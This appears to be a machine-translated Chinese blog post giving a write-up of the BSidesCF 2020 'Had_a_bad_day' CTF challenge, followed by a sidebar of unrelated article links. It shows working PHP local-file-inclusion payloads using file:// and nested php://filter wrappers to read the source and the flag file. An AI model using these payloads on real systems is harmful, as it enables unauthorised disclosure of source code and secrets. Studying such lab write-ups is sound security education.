当前位置:网站首页>[BSidesCF_2020]Had_ a_ bad_ day
[BSidesCF_2020]Had_ a_ bad_ day
2022-07-06 11:32:00 【Her&mes】
WP
so to speak , This topic is the teaching topic , Although I will not
Check here php Pseudo protocol nesting
Entering the gate of the topic is to find the injection point , Here I see url After the form of Association / Try file contains , I didn't think about it at all , Instead, ghost animal thought of template injection ,
And I almost forgot to visit directly flag.php determine flag Value position , Habits are too bad
After selecting the button URL by
http://d4a987de-9150-4004-9493-9173f710ba17.node3.buuoj.cn/index.php?category=woofers
http://d4a987de-9150-4004-9493-9173f710ba17.node3.buuoj.cn/index.php?category=meowers
Little experience ( No experience ) In my opinion, it is difficult to determine whether the file contains , accumulated .
Try payload
category=file:///var/www/html/index.php
use file:// False agreement is my habit of exploring the way
Error echo :
Warning: include(file:///var/www/html/index.php.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37
Warning: include(): Failed opening 'file:///var/www/html/index.php.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37
I'm glad there are no filtering keywords , See that the source code will automatically splice after the parameters .php
modify payload
category=file:///var/www/html/index
Successfully echoed index.php page ( The whole page is very ghost , After all, it's a doll ), Now modify payload, Make the source code echo
category=php://filter/convert.base64-encode/resource=index
How friendly , No keywords are filtered , Source code echo
PGh0bWw+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkltYWdlcyB0aGF0IHNwYXJrIGpveSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWluaW11bS1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkhhZCBhIGJhZCBkYXk/P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mlwcGxlIGlzLWFuaW1hdGluZyIgc3R5bGU9IndpZHRoOiAxODkuMzU2cHg7IGhlaWdodDogMTg5LjM1NnB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKSB0cmFuc2xhdGUoMzFweCwgMjVweCk7Ij48L3NwYW4+PC9zcGFuPjwvYnV0dG9uPjwvY2VudGVyPgogICAgICAgICAgPC9mb3JtPgoKICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQgc3JjPSJqcy9tYXRlcmlhbC5taW4uanMiPjwvc2NyaXB0PgogIDwvYm9keT4KPC9odG1sPg==
base64 decode , Take out php fragment
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
strpos() Function returns the position of the first occurrence of a string in another string . If there is , Return to digital , If the string is not found , Then return to false, And by default, start from left , The first 0 Bit start
The judgment requirement here is either woofers, Or there is meowers, Or there is index And index Not at the beginning of string
Finally, it's time for the examination ,php Pseudo protocol nesting
payload
category=php://filter/convert.base64-encode/index/resource=flag
here index Is considered a key name , because php://filter The key name is not in the pseudo protocol parameter , Report errors , skip , Carry on resource Parameters of
( This is my personal understanding , If not , Please tell me )
Checked the data php://filter There are many postures , Then learn to learn , Fill your brain .
边栏推荐
- Picture coloring project - deoldify
- Learn winpwn (3) -- sEH from scratch
- QT creator specifies dependencies
- neo4j安装教程
- 人脸识别 face_recognition
- 使用lambda在循环中传参时,参数总为同一个值
- AcWing 1294.樱花 题解
- Image recognition - pyteseract TesseractNotFoundError: tesseract is not installed or it‘s not in your path
- Password free login of distributed nodes
- [蓝桥杯2020初赛] 平面切分
猜你喜欢
[number theory] divisor
第4阶段 Mysql数据库
Vs2019 desktop app quick start
Machine learning -- census data analysis
Why can't I use the @test annotation after introducing JUnit
[download app for free]ineukernel OCR image data recognition and acquisition principle and product application
Windows下安装MongDB教程、Redis教程
引入了junit为什么还是用不了@Test注解
4、安装部署Spark(Spark on Yarn模式)
Software testing and quality learning notes 3 -- white box testing
随机推荐
When you open the browser, you will also open mango TV, Tiktok and other websites outside the home page
【yarn】CDP集群 Yarn配置capacity调度器批量分配
[Bluebridge cup 2021 preliminary] weight weighing
Neo4j installation tutorial
TypeScript
[Blue Bridge Cup 2017 preliminary] grid division
天梯赛练习集题解LV1(all)
[BSidesCF_2020]Had_a_bad_day
【Flink】CDH/CDP Flink on Yarn 日志配置
Valentine's Day flirting with girls to force a small way, one can learn
Codeforces Round #771 (Div. 2)
Picture coloring project - deoldify
打开浏览器的同时会在主页外同时打开芒果TV,抖音等网站
Integration test practice (1) theoretical basis
库函数--(持续更新)
Vs2019 desktop app quick start
【CDH】CDH5.16 配置 yarn 任务集中分配设置不生效问题
About string immutability
ES6 promise object
误删Path变量解决